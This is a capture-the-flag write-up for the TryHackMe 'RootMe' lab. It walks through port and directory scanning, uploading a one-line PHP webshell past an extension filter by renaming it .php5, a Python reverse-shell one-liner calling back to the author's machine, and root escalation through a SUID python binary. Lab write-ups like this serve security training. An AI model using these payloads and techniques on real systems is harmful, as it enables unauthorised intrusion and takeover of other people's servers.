RootMe TryHackMe Write Up

5 minute read

Room Link : https://tryhackme.com/room/rrootme

Port scan

[email protected]:~/Documents/tryhackme/rootme$ nmap -p- --max-retries 0 -oN all_port 10.10.222.233
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 11:58 +0545
Nmap scan report for 10.10.222.233
Host is up (0.41s latency).
Not shown: 59856 closed ports, 5677 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We have only two ports open.

Port 80

1

Running gobuster to find out the hidden directories

[email protected]:~/Documents/tryhackme/rootme$ gobuster dir -u http://10.10.222.233/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log
===============================================================                         
Gobuster v3.0.1                                                                         
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                         
===============================================================                         
[+] Url:            http://10.10.222.233/                                               
[+] Threads:        10                                                                  
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt        
[+] Status codes:   200,204,301,302,307,401,403                                         
[+] User Agent:     gobuster/3.0.1                                                      
[+] Timeout:        10s                                                                 
===============================================================                         
2020/09/20 11:59:59 Starting gobuster                                                   
===============================================================                         
/uploads (Status: 301)                                                                  
/css (Status: 301)                                                                      
/js (Status: 301)
/panel (Status: 301) 

We found two interesting directories, one being upload and another being panel.

Looking at panel

2

We can upload contents and the uploaded files can be accessed from /uploads. Using this we can upload a php reverse shell and get code execution on the box.

Reverse shell

Let us upload a file shell.php with following contents.

<?php echo system($_GET['cmd']); ?>

3

But looks like there is some check in place which dont let us upload a php file.

So I renamed it shell.php5 and uploaded the file again.

Content of shell.php5

<?php echo system($_GET['cmd']); ?>

4

This time the file is successfully uploaded.

$ curl http://10.10.222.233/uploads/shell.php5?cmd=ls
shell.php
shell.php5

Also we have code execution.

Getting a reverse shell

Listening on our box on port 9001

[email protected]:~/Documents/tryhackme/rootme$ nc -nvlp 9001                                                                                                                   
Listening on [0.0.0.0] (family 2, port 9001)                                                                                                                                    
Listening on 0.0.0.0 9001 

Reverse shell payload

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.53",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

5 And we get connection back on the box.

[email protected]:~/Documents/tryhackme/rootme$ nc -nvlp 9001                                                                                                                   
Listening on [0.0.0.0] (family 2, port 9001)                                                                                                                                    
Listening on 0.0.0.0 9001                                                                                                                                                       
Connection received on 10.10.222.233 56100                                                                                                                                      
/bin/sh: 0: can't access tty; job control turned off                                                                                                                            
$

Getting a proper shell

$ python -c "import pty;pty.spawn('/bin/bash')"                                                                                                                                 
bash-4.4$ 

Hit CTRL + z to background the process.

[email protected]:~/Documents/tryhackme/rootme$ stty raw  -echo

Type fg and hit enter twice.
Finally export TERM variable as xterm.

bash-4.4$ export TERM=xterm

Now we have a proper shell with autocompletion.

Reading user flag

[email protected]:/home$ cd ~                                                                                                                                                     
[email protected]:/var/www$ ls -la                                                                                                                                                
total 20                                                                                                                                                                        
drwxr-xr-x  3 www-data www-data 4096 Aug  4 17:54 .                                                                                                                             
drwxr-xr-x 14 root     root     4096 Aug  4 15:08 ..                                                                                                                            
-rw-------  1 www-data www-data  129 Aug  4 17:54 .bash_history                                                                                                                 
drwxr-xr-x  6 www-data www-data 4096 Aug  4 17:19 html                                                                                                                          
-rw-r--r--  1 www-data www-data   21 Aug  4 17:30 user.txt                                                                                                                      
[email protected]:/var/www$ cat user.txt                                                                                                                                          
THM{y0************ll} 

Privilege Escalation

Checking for SUID binaries

[email protected]:/var/www$ find / -type f -perm -4000 -ls 2>/dev/null                                                                                                            
   787696     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11 18:25 /usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                           
   787234    112 -rwsr-xr-x   1 root     root         113528 Jul 10 14:00 /usr/lib/snapd/snap-confine                                                                           
   918336    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic                                                            
   787659     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device                                                                     
   787841    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign                                                                          
   787845     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1                                                            
   787467     20 -rwsr-xr-x   1 root     root          18448 Jun 28  2019 /usr/bin/traceroute6.iputils                                                                          
   787290     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newuidmap                                                                                    
   787288     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newgidmap                                                                                    
   787086     44 -rwsr-xr-x   1 root     root          44528 Mar 22  2019 /usr/bin/chsh                                                                                         
   266770   3580 -rwsr-sr-x   1 root     root        3665768 Aug  4 17:47 /usr/bin/python                                                                                       
   787033     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at                                                                                           
   787084     76 -rwsr-xr-x   1 root     root          76496 Mar 22  2019 /usr/bin/chfn
   787179     76 -rwsr-xr-x   1 root     root          75824 Mar 22  2019 /usr/bin/gpasswd
   787431    148 -rwsr-xr-x   1 root     root         149080 Jan 31  2020 /usr/bin/sudo
   787289     40 -rwsr-xr-x   1 root     root          40344 Mar 22  2019 /usr/bin/newgrp
   787306     60 -rwsr-xr-x   1 root     root          59640 Mar 22  2019 /usr/bin/passwd
   787326     24 -rwsr-xr-x   1 root     root          22520 Mar 27  2019 /usr/bin/pkexec
       66     40 -rwsr-xr-x   1 root     root          40152 Oct 10  2019 /snap/core/8268/bin/mount
       80     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /snap/core/8268/bin/ping
       81     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /snap/core/8268/bin/ping6
       98     40 -rwsr-xr-x   1 root     root          40128 Mar 25  2019 /snap/core/8268/bin/su
      116     27 -rwsr-xr-x   1 root     root          27608 Oct 10  2019 /snap/core/8268/bin/umount
     2665     71 -rwsr-xr-x   1 root     root          71824 Mar 25  2019 /snap/core/8268/usr/bin/chfn
     2667     40 -rwsr-xr-x   1 root     root          40432 Mar 25  2019 /snap/core/8268/usr/bin/chsh
     2743     74 -rwsr-xr-x   1 root     root          75304 Mar 25  2019 /snap/core/8268/usr/bin/gpasswd
     2835     39 -rwsr-xr-x   1 root     root          39904 Mar 25  2019 /snap/core/8268/usr/bin/newgrp
     2848     53 -rwsr-xr-x   1 root     root          54256 Mar 25  2019 /snap/core/8268/usr/bin/passwd
     2958    134 -rwsr-xr-x   1 root     root         136808 Oct 11  2019 /snap/core/8268/usr/bin/sudo
     3057     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 10  2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3427    419 -rwsr-xr-x   1 root     root              428240 Mar  4  2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
     6462    105 -rwsr-sr-x   1 root     root              106696 Dec  6  2019 /snap/core/8268/usr/lib/snapd/snap-confine
     7636    386 -rwsr-xr--   1 root     dip               394984 Jun 12  2018 /snap/core/8268/usr/sbin/pppd
       66     40 -rwsr-xr-x   1 root     root               40152 Jan 27  2020 /snap/core/9665/bin/mount
       80     44 -rwsr-xr-x   1 root     root               44168 May  7  2014 /snap/core/9665/bin/ping
       81     44 -rwsr-xr-x   1 root     root               44680 May  7  2014 /snap/core/9665/bin/ping6
       98     40 -rwsr-xr-x   1 root     root               40128 Mar 25  2019 /snap/core/9665/bin/su
      116     27 -rwsr-xr-x   1 root     root               27608 Jan 27  2020 /snap/core/9665/bin/umount
     2605     71 -rwsr-xr-x   1 root     root               71824 Mar 25  2019 /snap/core/9665/usr/bin/chfn
     2848     53 -rwsr-xr-x   1 root     root          54256 Mar 25  2019 /snap/core/8268/usr/bin/passwd                                                                 [0/101]
     2958    134 -rwsr-xr-x   1 root     root         136808 Oct 11  2019 /snap/core/8268/usr/bin/sudo                                                                          
     3057     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 10  2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                       
     3427    419 -rwsr-xr-x   1 root     root              428240 Mar  4  2019 /snap/core/8268/usr/lib/openssh/ssh-keysign                                                      
     6462    105 -rwsr-sr-x   1 root     root              106696 Dec  6  2019 /snap/core/8268/usr/lib/snapd/snap-confine                                                       
     7636    386 -rwsr-xr--   1 root     dip               394984 Jun 12  2018 /snap/core/8268/usr/sbin/pppd                                                                    
       66     40 -rwsr-xr-x   1 root     root               40152 Jan 27  2020 /snap/core/9665/bin/mount                                                                        
       80     44 -rwsr-xr-x   1 root     root               44168 May  7  2014 /snap/core/9665/bin/ping                                                                         
       81     44 -rwsr-xr-x   1 root     root               44680 May  7  2014 /snap/core/9665/bin/ping6                                                                        
       98     40 -rwsr-xr-x   1 root     root               40128 Mar 25  2019 /snap/core/9665/bin/su                                                                           
      116     27 -rwsr-xr-x   1 root     root               27608 Jan 27  2020 /snap/core/9665/bin/umount                                                                       
     2605     71 -rwsr-xr-x   1 root     root               71824 Mar 25  2019 /snap/core/9665/usr/bin/chfn                                                                     
     2607     40 -rwsr-xr-x   1 root     root               40432 Mar 25  2019 /snap/core/9665/usr/bin/chsh                                                                     
     2683     74 -rwsr-xr-x   1 root     root               75304 Mar 25  2019 /snap/core/9665/usr/bin/gpasswd                                                                  
     2775     39 -rwsr-xr-x   1 root     root               39904 Mar 25  2019 /snap/core/9665/usr/bin/newgrp                                                                   
     2788     53 -rwsr-xr-x   1 root     root               54256 Mar 25  2019 /snap/core/9665/usr/bin/passwd                                                                   
     2898    134 -rwsr-xr-x   1 root     root              136808 Jan 31  2020 /snap/core/9665/usr/bin/sudo                                                                     
     2997     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 11 20:06 /snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3367    419 -rwsr-xr-x   1 root     root              428240 May 26 23:17 /snap/core/9665/usr/lib/openssh/ssh-keysign
     6405    109 -rwsr-xr-x   1 root     root              110656 Jul 10 18:35 /snap/core/9665/usr/lib/snapd/snap-confine
     7582    386 -rwsr-xr--   1 root     dip               394984 Feb 11  2020 /snap/core/9665/usr/sbin/pppd

In this whole list there was a unusual binary with SUID bit set. ie /usr/bin/python. So I went to gtfobins to check if we can use this condition for our privilege escalation.

Getting a root shell

[email protected]:/var/www$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Reading root flag

# cd /root
# ls
root.txt
# cat root.txt
THM{pr1************0n}